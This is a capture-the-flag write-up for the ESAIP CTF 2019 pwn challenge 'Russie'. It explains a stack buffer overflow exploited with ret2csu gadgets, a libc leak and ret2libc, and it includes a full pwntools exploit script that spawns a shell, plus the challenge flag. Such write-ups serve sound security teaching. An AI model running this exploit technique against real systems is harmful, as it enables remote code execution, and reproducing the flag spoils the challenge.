10615
ESAIP CTF 2019 - Russie (pwn)
I and my CTF team Hackatsuki recently participated to the ESAIP CTF 2019 which lasted over 10 hours. The challenges weren't really diversified but the pwn was pretty nice. We reached the 4th place in the scoreboard !
This CTF used the Facebook CTF platform, fbctf which UI is pretty awesome but has some bugs. Each challenge was bound to a country, for example Belarus, Chile, Russia, America, Canda was pwn challenges. Canada was the only challenge I could not solve but Mini'Kube dit it insanely and Russie was the last one in pwn series with 455 points.
You should ROP
The binary include only the main function which is pretty short, only write, setvbuf and read are called and so will be in the PLT. About the mitigations the NX bit, ASLR and RELRO are enabled.
The vulnerability resides in the read function which will read 0x15E (350) bytes from stdin and write it in the ~100 bytes buffer. It's like we have to do some ROP now !
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-70h]
write(1, "Hello ROP\n", 0xAuLL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
return read(0, &buf, 0x15EuLL);
}
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$ info func @plt
All functions matching regular expression "@plt":
Non-debugging symbols:
0x0000000000401030 write@plt
0x0000000000401040 read@plt
0x0000000000401050 setvbuf@plt
Sadly the binary is compiled for dynamic linking, the amount of gadget will be very restricted.
__LIBC_CSU_INIT
But hopefully there are gadgets always presents in binary in the __libc_csu_init function. The __libc_csu_init is defined as attached code because no matter what you wrote, the binary will always hold this function.
For intel x64 binary (System V AMD64 ABI) functions, parameters are passed the following way
| 1 | RDI |
| 2 | RSI |
| 3 | RDX |
| 4 | RCX |
| 5 | R8 |
| 6 | R9 |
| n | STACK |
In order to make functions call via our ROP we need to control at least RDI, RSI, RDX because the only availables functions, write and read have 3 parameters.
- the gadget at 0x0000000000401212 allows us to control : rbx, rbp, r12, r13, r14, r15
- the gadget at 0x00000000004011f8 allows us to control rdx, rsi and edi
- the gadget at 0x0000000000401201 lets us call [r12 + rbx * 8] (we control both of them thanks to the first gadget)
We do not control the 4 highest bytes of RDI but no worries therere is a gadget in the binary
gdb-peda$ x/2i 0x000000000040121b
0x40121b <__libc_csu_init+91>: pop rdi
0x40121c <__libc_csu_init+92>: ret
gdb-peda$
As you see theses gadgets let us call whatever we want and as many time as we want because right after the call, if rbx == rbp, we will pop again our arguments and ret the gadget we want !
Payloading
My first idea was :
- write(stdout, read_got, 8) ; leaking read address in order to get libc base address
- read(1, bss, 8) ; to write system address somewhere we control like bss
- and then call [bss] via the ret2csu.
But there is something much easier :
- write(stdout, read_got, 8) ; leaking read address in order to get libc base address
- ret2main in order to send another payload
- ret2libc with system address previously leaked and calculated
Here the schema of the scenario
STAGE 1
+-------------------------------+
| A * 120 |
+-------------------------------+
| pop_all | <----------+ MAIN SAVED EIP
+-------------------------------+
| 0 ; rbx | <----------+ pop rbx
+-------------------------------+
| 1 ; rbp | <----------+ pop rbp
+-------------------------------+
| write_got | <----------+ pop r12
+-------------------------------+
| 1 ; args 1 | <----------+ pop r13
+-------------------------------+
| read_got; args 2 | <----------+ pop r14
+-------------------------------+
| 8 ; args 3 | <----------+ pop r15
+-------------------------------+
| mov rdx,r15 |
| mov rsi,r14 |
| mov edi,r13d | <----------+ ret
| call [r12 + rbx * 8] |
| [...] |
| pop ret |
+-------------------------------+
| NOPE * 7 | <----------+ after call, there is add rsp, 0x8 and pop * 6
+-------------------------------+
| main_addr | <----------+ ret
+-------------------------------+
This will leak the read address and go back to main to execute again the program, the stage 2 will trigger the ret2libc
STAGE 2
+-------------------------------+
| A * 120 |
+-------------------------------+
| pop_rdi | <---------+ MAIN SAVED EIP
+-------------------------------+
| /bin/sh addr |
+-------------------------------+
| system addr |
+-------------------------------+
Here the full exploit
from pwn import *
from struct import unpack
local = False
p = remote("172.16.128.39", 31336)
p.readuntil("ROP")
##############################
NOPE = p64(0x4143414241434142)
main = 0x401142
pop_rdi = 0x000000000040121b
pop_all = 0x0000000000401212 # rbx rbp 12 13 14 15
mov_rdx_r15_rsi_r14 = 0x00000000004011f8
write_got = 0x403fd8
read_got = 0x403fe0
bss = 0x404018
if local:
read_offset = 0x00000000000db900
system_offset = 0x000000000003f480
bin_sh_offset = 0x161c19
else:
read_offset = 0x00000000000e4680
system_offset = 0x0000000000041af0
bin_sh_offset = 0x17699e
# write = 1, ptr src, size
# read = 0, ptr dest, size
#[ STAGE 1]###########################
payload = "A" * 120
### write(1, read, 8)
payload += p64(pop_all)
payload += p64(0) # rbx
payload += p64(1) # rbp : must be < rbx
payload += p64(write_got) #r12 # call
payload += p64(0x1) # arg 1
payload += p64(read_got) # arg 2
payload += p64(0x8) # arg3
payload += p64(mov_rdx_r15_rsi_r14)
payload += NOPE * 7
payload += p64(main) # adresse de la suite de la rop
p.sendline(payload)
#[ LEAK ###########################
p.read()
leak = p.read()[:8]
libc_addr = unpack("<Q", leak)[0] - read_offset
system_addr = libc_addr + system_offset
bin_sh = libc_addr + bin_sh_offset
exit = libc_addr + 0x0000000000035980
log.info("libc @ " + hex(libc_addr))
#[ STAGE 2]###########################
stage2 = "A" * 120
### system(sh)
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh)
stage2 += p64(system_addr)
p.sendline(stage2)
p.interactive()
#ectf19{H_a_cker_detect_e_d_0011010}